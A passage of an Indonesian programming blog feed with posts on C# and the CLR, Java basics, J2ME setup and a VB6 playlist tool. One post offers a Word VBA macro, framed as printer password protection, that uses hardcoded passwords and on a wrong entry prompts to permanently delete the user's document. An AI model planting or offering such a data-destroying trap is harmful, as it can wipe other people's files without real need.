saja membuat implementasinya.&amp;#160; Hal ini berbeda dengan platform Java yang merupakan platform pribadi milik Sun.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Tidak seperti platform Java yang terkait dengan bahasa Java, CLR tidak terkait dengan bahasa pemrograman apapun. Contoh-contoh bahasa yang bisa dipakai untuk membuat program managed adalah C#, Managed Extension for C++, Visual Basic .NET, Jscript .NET, J#, Pascal .NET, Delphi .NET, Phyton .NET, Eiffel#, COBOL .NET, dan Perl .NET.&amp;#160; Program yang dibuat dengan bahasa berbeda dapat dengan mudah berinteraksi!&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;CLI dibuat oleh Microsoft bersamaan dengan implementasinya yaitu Framework .NET.&amp;#160; Microsoft menyerahkan CLI kepada ECMA untuk distandarisasi agar pengadopsiannya lebih cepat dan meluas.&amp;#160; Hasil standarisasi tersebut tidaklah sia-sia, sebab dengan standar-standar yang ada muncullah implementasi-implementasi open source seperti Mono dan dotGNU Portable .NET.&amp;#160; Standar CLI tersebut diberi nama &lt;a href="http://www.ecma-international.org/publications/standards/ecma-335.htm"&gt;ECMA-335&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;strong&gt;Penutup&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Tutorial pengenalan ini mungkin belum bisa memperlihatkan keunggulan C# terhadap bahasa-bahasa pemrograman lainnya, terutama terhadap C++ dan Java.&amp;#160; Programmer C++ nantinya akan melihat bahwa sintaks di C# lebih bersih, aturan-aturan bahasanya lebih sederhana, dan class librarynya yang berorientasi objek sangat intuitif untuk dipakai.&amp;#160; Programmer Java akan lebih cepat untuk beradaptasi dan akan menghargai elemen-elemen bahasa baru seperti property, indexer, delegate, dan event.&amp;#160; Dengan mempelajari C#, anda juga telah mulai menapakkan kaki anda ke dunia pemrograman managed yang modern, di mana perbedaan bahasa, operating system, dan hardware tidak lagi menjadi pembatas.&amp;#160; Semoga tutorial ini dapat menarik minat anda untuk mempelajari C# lebih lanjut.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;source : &lt;a href="http://ajidotnet.wordpress.com/2008/08/08/berkenalan-dengan-c-dan-clr/" target="_blank"&gt;ajidotnet.wordpress.com&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:2f518a33-90e5-4b98-a228-da05f5ca379c" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/c#" rel="tag"&gt;c#&lt;/a&gt;,&lt;a href="http://technorati.com/tags/berkenalan" rel="tag"&gt;berkenalan&lt;/a&gt;,&lt;a href="http://technorati.com/tags/programming" rel="tag"&gt;programming&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-3657558745505507844?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/3657558745505507844/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=3657558745505507844&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/3657558745505507844'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/3657558745505507844'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/08/berkenalan-dengan-c-dan-clr.html' title='Berkenalan Dengan C# dan CLR'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-5576705999554400714</id><published>2008-08-21T19:57:00.001+07:00</published><updated>2008-08-21T19:57:16.908+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>Dasar Pemograman Dengan Java</title><content type='html'>&lt;p align="justify"&gt;Pemrograman dengan Java   &lt;br /&gt;Java sebagai salah satu bahasa pemrograman baru menjanjikan banyak kemudahan bagi programer junior maupun senior. Tutorial ini akan membawa Anda mengenal lebih jauh bahasa ini melalui pembahasan konsep model perancangan dan petunjuk sederhana penggunaannya.&lt;/p&gt;  &lt;p align="justify"&gt;Apakah Java?   &lt;br /&gt;Java adalah bahasa pemrograman berorientasi objek yang dikembangkan oleh Sun Microsystems sejak tahun 1991. Bahasa ini dikembangkan dengan model yang mirip dengan bahasa C++ dan Smalltalk, namun dirancang agar lebih mudah dipakai dan &amp;#173;platform independent, yaitu dapat dijalankan di berbagai jenis sistem operasi dan arsitektur komputer&amp;#173;&amp;#173;. Bahasa ini juga dirancang untuk pemrograman di Internet sehingga dirancang agar aman dan portabel.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Platform Independent   &lt;br /&gt;Platform independent berarti program yang ditulis dalam bahasa Java dapat dengan mudah dipindahkan antar berbagai jenis sistem operasi dan berbagai jenis arsitektur komputer. Aspek ini sangat penting untuk dapat mencapai tujuan Java sebagai bahasa pemrograman Internet di mana sebuah program akan dijalankan oleh berbagai jenis komputer dengan berbagai jenis sistem operasi. Sifat ini berlaku untuk level source code dan binary code dari program Java. Berbeda dengan bahasa C dan C++, semua tipe data dalam bahasa Java mempunyai ukuran yang konsisten di semua jenis platform. Source code program Java sendiri tidak perlu dirubah sama sekali jika Anda ingin mengkompile ulang di platform lain. Hasil dari mengkompile source code Java bukanlah kode mesin atau instruksi prosesor yang spesifik terhadap mesin tertentu, melainkan berupa bytecode yang berupa file berekstensi .class. Bytecode tersebut dapat langsung Anda eksekusi di tiap platform yang dengan menggunakan Java Virtual Machine (JVM) sebagai interpreter terhadap bytecode tersebut.&lt;/p&gt;  &lt;p align="justify"&gt;JVM sendiri adalah sebuah aplikasi yang berjalan di atas sebuah sistem operasi dan menerjemahkan bytecode program Java dan mengeksekusinya, sehingga secara konsep bisa dianggap sebagai sebuah interpreter. Proses pengeksekusian program Java dapat dilukiskan seperti di Gambar 1. Dengan cara ini, sebuah program Java yang telah dikompilasi akan dapat berjalan di platform mana saja, asalkan ada JVM di sana.&lt;/p&gt;  &lt;p align="justify"&gt;Kompiler dan interpreter untuk program Java berbentuk Java Development Kit (JDK) yang diproduksi oleh Sun Microsystems. JDK ini dapat didownload gratis dari situs java.sun.com. Interpreter untuk program Java sendiri sering juga disebut Java Runtime atau Java Virtual Machine. Interpreter Java, tanpa kompilernya, disebut Java Runtime Environment (JRE) dapat didownload juga di situs yang sama. Untuk mengembangkan program Java dibutuhkan JDK, sementara jika hanya ingin menjalankan bytecode Java cukup dengan JRE saja. Namun untuk mengeksekusi applet (sebuah bytecode Java juga) Anda biasanya tidak perlu lagi mendownload JRE karena browser yang Java-enabled telah memiliki JVM sendiri.&lt;/p&gt;  &lt;p align="justify"&gt;Library   &lt;br /&gt;Selain kompiler dan interpreter, bahasa Java sendiri memiliki library yang cukup besar yang dapat mempermudah Anda dalam membuat sebuah aplikasi dengan cepat. Library ini sudah mencakup untuk grafik, desain user interface, kriptografi, jaringan, suara, database, dan lain-lain.&lt;/p&gt;  &lt;p align="justify"&gt;OO   &lt;br /&gt;Java adalah bahasa pemrograman berorientasi objek. Pemrograman berorientasi objek secara gamblang adalah teknik untuk mengorganisir program dan dapat dilakukan dengan hampir semua bahasa pemrograman. Namun Java sendiri telah mengimplementasikan berbagai fasilitas agar seorang programer dapat mengoptimalkan teknik pemrograman berorientasi objek.&lt;/p&gt;  &lt;p align="justify"&gt;Sedikit perbandingan tambahan dengan bahasa C dan C++, Java banyak mewarisi konsep orientasi objek dari C++ namun dengan menghilangkan aspek-aspek kerumitan dalam bahasa C++ tanpa mengurangi kekuatannya. Hal ini mempermudah programer pemula untuk mempelajari Java namun mengurangi keleluasaan programer berpengalaman dalam mengutak-atik sebuah program. Di balik kemudahan yang ditawarkan Java, luasnya fasilitas library Java sendiri membuat seorang programer membutuhkan waktu yang tidak singkat untuk dapat menguasai penggunaan library-library tersebut.&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://pedagangasongan.blogspot.com/2008/08/dasar-pemograman-dengan-java.html" target="_blank"&gt;pedagangasongan.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:3b35c248-9a14-440f-b4c6-0f712a095e48" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/java" rel="tag"&gt;java&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;,&lt;a href="http://technorati.com/tags/pengenalan" rel="tag"&gt;pengenalan&lt;/a&gt;&lt;/div&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-5576705999554400714?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/5576705999554400714/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=5576705999554400714&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/5576705999554400714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/5576705999554400714'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/08/dasar-pemograman-dengan-java.html' title='Dasar Pemograman Dengan Java'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-7878950784594592757</id><published>2008-08-21T19:50:00.001+07:00</published><updated>2008-08-21T19:50:09.116+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>Memproteksi Printer dengan Password</title><content type='html'>&lt;p align="justify"&gt;Source code ini saya buat ketika sedang seru-serunya bermain Age of Mythology (Titan Expansion) tiba-tiba ada seorang gadis mengeluh bahwa Printer sering bermasalah kalau penggunaannya tidak dikontrol dengan pintar, kejadian-kejadian kecil sering menjadi pemicunya, seperti: menarik kertas secara paksa saat terjadi &amp;quot;paper jam&amp;quot;, mengisi tinta beda merek tanpa ijin, atau membersihkan cartridge dengan kertas. &lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Kalau sudah begini keadaannya, proteksi itu penting, agar orang lain tidak sembarangan memakai. Bagaimana caranya?&lt;/p&gt;  &lt;p align="justify"&gt;1. Buka Microsoft Word (terserah, menggunakan Word 2000/xp/2003/2007) &amp;gt; tekan Alt + F11 untuk membuka VisualBasicEditor   &lt;br /&gt;2. Pada panel kiri, pilih: Normal &amp;gt; Microsoft Word Objects &amp;gt; lalu klik dua kali pada This Document (icon MS-Word)    &lt;br /&gt;3. Copy paste kode yang disertakan di bawah ini pada panel sebelah kanan    &lt;br /&gt;4. Tekan Ctrl + S untuk menyimpan perubahan&lt;/p&gt;  &lt;p align="justify"&gt;Efek yang terjadi jika kode tadi sudah terpasang pada GlobalTemplate di Microsoft Word adalah:   &lt;br /&gt;- Jika %user% mengeksekusi perintah mencetak (print) dengan menekan Ctrl + P, atau klik File &amp;gt; Print, atau klik toolbar printer    &lt;br /&gt;maka akan muncul kotak dialog yang meminta password printer. Jika password benar maka user baru berhadapan dengan dialog print     &lt;br /&gt;(seperti biasa) namun jika password yang dituliskan keliru, akan muncul pernyataan bahwa password salah dan system langsung menawarkan apakah document ini akan dihapus? Satu-satunya cara menyelamatkan adalah dengan menekan Esc atau klik Cancel. Kalau Anda klik OK maka document akan dihapus secara permanen. &lt;/p&gt;  &lt;p align="justify"&gt;Tidak bisa di-recover dari Recycle Bin ataupun memakai program recovery. &lt;/p&gt;  &lt;p align="justify"&gt;Saya sarankan: berikan password dan sembunyikan document di folder rahasia. Kami menyebutnya teknologi yang mengerti Anda.    &lt;br /&gt;- Seperti yang terlihat di SourceCode, passwordnya sangat gampang terlihat. &lt;/p&gt;  &lt;p align="justify"&gt;Ini dia source code yang bisa Anda gunakan untuk memproteksi printer (segala merek)   &lt;br /&gt;'-------------------------------------------------- copy-paste &lt;/p&gt;  &lt;div align="justify"&gt;   &lt;pre&gt;&lt;br /&gt;'FileName       : FilePrint.bas&lt;br /&gt;'Author         : r3cyclebin&lt;br /&gt;'email          : ven0mday@gmail.com&lt;br /&gt;'Description    :&lt;br /&gt;'Akses ke File &amp;gt; Print atau Ctrl+P dipasangi password, jika isiannya dikosongkan&lt;br /&gt;'ataupun password salah maka akan dianggap tindakan ilegal&lt;br /&gt;'dan ditawari menghapus dokumen secara permanen (tidak singgah di Recycle Bin).&lt;br /&gt;'Kalau macro ini akan dimodifikasi melalui ViewVBCode akan ada lagi interupsi password.&lt;br /&gt;'Password Ctrl+P : &amp;quot;pandorasbox&amp;quot; dan ViewVBCode : &amp;quot;divineintervention&amp;quot;&lt;br /&gt;'---------------------------------------------------------------------------------------&lt;br /&gt;Sub FilePrint()&lt;br /&gt;If InputBox(&amp;quot;Access for authorized user only&amp;quot; &amp;amp; Chr(13) &amp;amp; &amp;quot;Enter current password&amp;quot; &amp;amp; Chr(13) &amp;amp; &amp;quot;Hint: invoke god's power in AOMX&amp;quot;, &amp;quot;::: RESTRICTED AREA :::&amp;quot;) = &amp;quot;pandorasbox&amp;quot; Then&lt;br /&gt;MsgBox &amp;quot;Password Accepted!&amp;quot;&lt;br /&gt;Dialogs(wdDialogFilePrint).Show&lt;br /&gt;Else&lt;br /&gt;Dim strFileToDelete As String&lt;br /&gt;Dim docOpen As Document&lt;br /&gt;Dim intDocCount As Integer&lt;br /&gt;intDocCount = 0&lt;br /&gt;For Each docOpen In Documents&lt;br /&gt;   intDocCount = intDocCount + 1&lt;br /&gt;Next docOpen&lt;br /&gt;If intDocCount &amp;gt; 0 Then&lt;br /&gt;   If MsgBox(&amp;quot;Access denied&amp;quot; &amp;amp; vbCrLf &amp;amp; &amp;quot;Delete this file permanently?&amp;quot;, vbYesNo) = vbYes Then&lt;br /&gt;      If Len(ActiveDocument.Path) &amp;lt;&amp;gt; 0 Then&lt;br /&gt;         strFileToDelete = ActiveDocument.FullName&lt;br /&gt;         ActiveDocument.Close SaveChanges:=False&lt;br /&gt;         Kill strFileToDelete&lt;br /&gt;      Else&lt;br /&gt;         ActiveDocument.Close SaveChanges:=False&lt;br /&gt;      End If&lt;br /&gt;   End If&lt;br /&gt;Else&lt;br /&gt;   MsgBox &amp;quot;File deleted. Mission accomplish!&amp;quot;, vbOKOnly&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;Sub ToolsMacro()&lt;br /&gt;ViewVBCode&lt;br /&gt;End Sub&lt;br /&gt;Sub ViewVBCode()&lt;br /&gt;If InputBox(&amp;quot;Enter current password:&amp;quot;, &amp;quot;Restricted Area&amp;quot;) = &amp;quot;divineintervention&amp;quot; Then&lt;br /&gt;Application.ShowVisualBasicEditor = True&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;  &lt;br /&gt;'------- end of file&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;Saya rajin membuka situs Microsoft sejak 1999 karena semua client saya berurusan dengan software buatan Microsoft.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;source : &lt;a href="http://ven0mday.blogspot.com/2008/08/memproteksi-printer-dengan-password.html" target="_blank"&gt;ven0mday.blogspot.com&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:77cd4169-2d78-4da4-a5b9-46f90a563f0a" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/proteksi" rel="tag"&gt;proteksi&lt;/a&gt;,&lt;a href="http://technorati.com/tags/password" rel="tag"&gt;password&lt;/a&gt;,&lt;a href="http://technorati.com/tags/visual%20basic" rel="tag"&gt;visual basic&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-7878950784594592757?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/7878950784594592757/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=7878950784594592757&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/7878950784594592757'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/7878950784594592757'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/08/memproteksi-printer-dengan-password.html' title='Memproteksi Printer dengan Password'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-1549583911560392621</id><published>2008-08-21T19:47:00.001+07:00</published><updated>2008-08-21T19:47:35.144+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>Belajar Membuat Mobile Aplikasi dengan J2ME</title><content type='html'>&lt;p align="justify"&gt;Artikel ini menjelaskan tentang cara memulai membuat aplikasi J2ME (aplikasi Java untuk perangkat kecil, seperti selular, PDA dan lainnya) tanpa menuliskan kode kode programming (source-code) sedikitpun, karena artikel ini ditujukan kepada programmer yang belum pernah membuat aplikasi J2ME, banyak para programmer desktop PC yang mungkin merasa terlalu susah untuk bikin aplikasi J2ME untuk selular, mudah mudahan artikel singkat ini bisa memberikan penjelasan yang cukup dan memberikan semangat yang positif untuk memulai membuat aplikasi J2ME.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Membuat aplikasi J2ME tidak memerlukan banyak software yang rumit atau besar, salah satu software yang pasti diperlukan adalah J2SE SDK/JDK, dalam J2SE SDK/JDK ini terdapat runtime dan library untuk program Java secara umum termasuk juga untuk J2ME, pada saat artikel ini ditulis telah ada J2SE SDK v1.4.2.&lt;/p&gt;  &lt;p align="justify"&gt;Untuk menulis source-code J2ME, maka kita memerlukan sebuah J2ME IDE (integrated development environment), ada beberapa pilihan IDE yang diantaranya adalah Netbean, Sun One Java Studio Mobility, CodeWarrior dan notepad (atau text editor lainnya), untungnya semua software IDE yang disebutkan ini dapat di download gratis di website resmi masing masing perusahaan, jadi untuk membuat program J2ME maka pihak developer tidak perlu mengeluarkan uang sama sekali untuk membeli software IDE.&lt;/p&gt;  &lt;p align="justify"&gt;Pada artikel ini yang diulas adalah IDE dari Netbean v4.1 dengan tambahan Netbean Mobility Pack v4.1, tambahan ini diperlukan untuk membuat aplikasi J2ME, karena jika hanya dengan Netbean v4.1 hanya dapat membuat aplikasi Java saja, Netbean Mobility Pack adalah module-module aplikasi J2ME dan emulator device untuk testing dalam PC. IDE lainnya boleh dicoba tapi dianjurkan memakai Netbean v4.1 karena versi ini sangat mudah dioperasikan dan dirasakan cukup cepat dibanding IDE lainnya dalam hal loading, compiling, running dan debugging.&lt;/p&gt;  &lt;p align="justify"&gt;Langkah yang dilakukan oleh editor untuk memulai pembuatan aplikasi J2ME adalah:   &lt;br /&gt;1. Install J2SE SDK v1.4.2 (50MB)    &lt;br /&gt;2. Install Netbean v4.1 (47MB)    &lt;br /&gt;3. Install Netbean Mobility Pack v4.1 (18MB)    &lt;br /&gt;4. Jalankan Netbean v4.1, buat projek baru dan pilih kategori &amp;quot;Mobile&amp;quot; dan tipe projek &amp;quot;Mobile Application&amp;quot;    &lt;br /&gt;5. Pilih lokasi tempat menyimpan file-file projek ini, &amp;quot;Set as Main Project&amp;quot; dan &amp;quot;Create Hello MIDlet&amp;quot; jangan dirubah (tercentang)    &lt;br /&gt;6. Pada halaman &amp;quot;Platform selection&amp;quot; pilih &amp;quot;Device Configuration&amp;quot; = CLDC-1.0 dan &amp;quot;Device Profile&amp;quot; = MIDP-1.0 (versi terkecil yang dapat digunakan dalam semua selular yang support J2ME)    &lt;br /&gt;7. Setelah semua selesai (tempate telah dibuat), jalankan aplikasi ini dengan menekan tombol F6 (Run Main Project).    &lt;br /&gt;8. Lalu project ini akan dikompile dan emulator akan keluar, gunakan mouse untuk mengoperasikan emulator tersebut, dengan menekan nekan tombol keypad dalam emulator tersebut mirip seperti selular biasa.    &lt;br /&gt;9. Pada saat ini, aplikasi &amp;quot;Hello World&amp;quot; kita telah selesai dibuat dan bisa langsung di tes pada selular yang sebenarnya.&lt;/p&gt;  &lt;p align="justify"&gt;Untuk testing langsung ke dalam selular, yang diperlukan tidaknya banyak, hanya:   &lt;br /&gt;1. Selular phone yang mendukung J2ME (setidaknya MIDP v1).    &lt;br /&gt;2. Alat untuk memindahkan aplikasi (.JAR dan .JAD) yang sudah dibuat kedalam selular, dapat berupa kabel data, infrared, bluetooth atau card reader/writer jika selular yang ingin digunakan sebagai test device memiliki slot memory external, seperti MMC, MemoryStick dan lainnya. Cara pemindahan aplikasi J2ME sama seperti cara mengisi ringtone, image dan lainnya.    &lt;br /&gt;3. Software untuk memindahkan aplikasi J2ME ke dalam selular, bisa menggunakan aplikasi yang dibuat oleh perusahaan lain (bukan buatan vendor selular tersebut), seperti MobiMB yang berukuran kecil, mudah dan cepat.&lt;/p&gt;  &lt;p align="justify"&gt;Dalam artikel ini, selular yang digunakan sebagai test adalah Nokia 6015 (memakai kabel data USB) dan Nokia 9500 (memakai card reader/writer untuk mengkopi file .JAR dan .JAD ke dalam MMC). File file yang perlu ditransfer kedalam selular adalah file .JAR (dan .JAD jika diperlukan) yang berada dalam direktori &amp;quot;DIST&amp;quot;, lokasi direktori ini telah ditentukan pada langkah ke 5.&lt;/p&gt;  &lt;p align="justify"&gt;Kita telah selesai membuat aplikasi J2ME &amp;quot;Hello World&amp;quot;, untuk merubah text atau menambah objek objek lainnya seperti TextBox, RadioBox, tombol- tombol menu dan lainnya dapat kita lakukan dalam Netbean, juga tanpa perlu menuliskan source-code karena Netbean v4.1 sudah memiliki fungsi yang cukup bagus dan mudah dengan drag-and-drop mirip seperti programming Visual Basic dan lainnya yang hanya memerlukan perubahan pada properti-properti objek tersebut jika diperlukan seperti kata-kata nya, lebar tingginya dan lain lain.&lt;/p&gt;  &lt;p align="justify"&gt;Memang aplikasi yang telah dibuat ini tidak begitu berguna, tapi bagi para programmer yang telah menguasai bahasa pemrograman Java maka tidaklah sulit untuk membuat aplikasi atau game game untuk selular yang mungkin bisa dengan mudah dijual kepada perusahaan perusahaan mobile content aggregator karena bisnis mobile content cukup lumayan saat ini.&lt;/p&gt;  &lt;p align="justify"&gt;Pilihan J2ME untuk membuat aplikasi/game selular sangat bagus, karena ukuran file nya kecil (file JAR Hello World yang telah kita buat ini hanya kurang lebih 1 kilobyte saja), bahasa Java relatif lebih mudah dipelajari dibanding C/C++ untuk Symbian, Palm, Pocket PC dan Linux, dan alasan yang terakhir adalah software IDE untuk J2ME versi sekarang ini sangat baik dan lebih mudah digunakan.&lt;/p&gt;  &lt;p align="justify"&gt;Kemungkinan jika semua langkah yang dijelaskan diatas dicoba dengan sama persis oleh para pemula, maka mungkin hanya membutuhkan waktu kurang dari 10 menit hingga selesai dimasukan dalam selular, pihak editor hanya membutuhkan kurang dari 3 menit untuk menyelesaikannya.&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://demorgand.blogspot.com/2008/08/belajar-membuat-mobile-aplikasi-dengan.html" target="_blank"&gt;demorgand.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:adf971ee-c283-4e86-82ee-ef247ba57fac" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/mobile" rel="tag"&gt;mobile&lt;/a&gt;,&lt;a href="http://technorati.com/tags/j2me" rel="tag"&gt;j2me&lt;/a&gt;,&lt;a href="http://technorati.com/tags/belajar" rel="tag"&gt;belajar&lt;/a&gt;,&lt;a href="http://technorati.com/tags/aplikasi" rel="tag"&gt;aplikasi&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-1549583911560392621?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/1549583911560392621/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=1549583911560392621&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/1549583911560392621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/1549583911560392621'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/08/belajar-membuat-mobile-aplikasi-dengan.html' title='Belajar Membuat Mobile Aplikasi dengan J2ME'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-2553323530714869477</id><published>2008-08-21T19:44:00.001+07:00</published><updated>2008-08-21T19:44:49.220+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>Free &amp; Open Source VB 6 : Copy Playlist Winamp Ke Mp3 Player</title><content type='html'>&lt;p align="justify"&gt;Program ini sangat sederhana, dan dibuat asal jadi, tapi dapat dimodifikasi dan dikembangkan sesuai keperluan.   &lt;br /&gt;Tapi kalo langsung dijalanin tanpa tau duduk perkaranya, mungkin malah bingung program ini untuk apa, bisa-bisa nuduh si Joko lagi error pas coding, bikin program nggak jelas kayak gini.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Karena itu, pastikan memahami dulu cerita mengapa program ini dibuat... yuukkk... (gaya Tora Sudiro, masing sering gitu nggak dia?)   &lt;br /&gt;&lt;img title="Generate by Smileykiti" src="http://www.smileyarena.com/emoticons/packs/Miranda_Orange/mir28.gif" /&gt;    &lt;br /&gt;Alkisah begini...    &lt;br /&gt;Gue kan punya banyak tuh koleksi mp3 di harddisk, misalnya strukturnya kayak gini:&lt;/p&gt;  &lt;p align="justify"&gt;   &lt;br /&gt;\mp3    &lt;br /&gt;\Bon Jovi    &lt;br /&gt;Always.mp3    &lt;br /&gt;It's My Life.mp3    &lt;br /&gt;\Madonna    &lt;br /&gt;Take a Bow.mp3    &lt;br /&gt;La Isla Bonita.mp3    &lt;br /&gt;\Helloween    &lt;br /&gt;Still I Don't Know.mp3    &lt;br /&gt;Why.mp3&lt;/p&gt;  &lt;p align="justify"&gt;   &lt;br /&gt;ini cuma contoh sederhananya, kenyataannya ada lebih banyak file dan sub folder, nah biasanya gue add semua mp3 itu ke dalam Winamp. Setelah semua ada di playlist Winamp, kan enak tuh buat ngatur-ngaturnya, lagu apa yang kita mau denger, urutannya, lagu apa yang kita mau hapus dari list, dan seterusnya.    &lt;br /&gt;Biasanya, gue pilih lagu-lagu yang gue suka, misalnya 10 lagu, sementara lagu-lagu lainnya gue hapus dari list. Nah, 10 lagu itu gue mau copy ke mp3 player jadi bisa gue bawa-bawa dan dengar di luar.&lt;/p&gt;  &lt;p align="justify"&gt;Gimana caranya ngopy 10 lagu itu ke mp3 player gue? Lumayan susah kalo cara manual, kita harus tau path dan nama file mp3 itu, misalnya 10 lagu itu berada di folder yang berbeda-beda, berarti kita harus ke masing-masing folder tersebut dan secara manual copy lagunya ke mp3 player, mending kalo cuma 10 lagu, karena mp3 player sekarang kapasitasnya udah gede-gede, gimana kalo 100 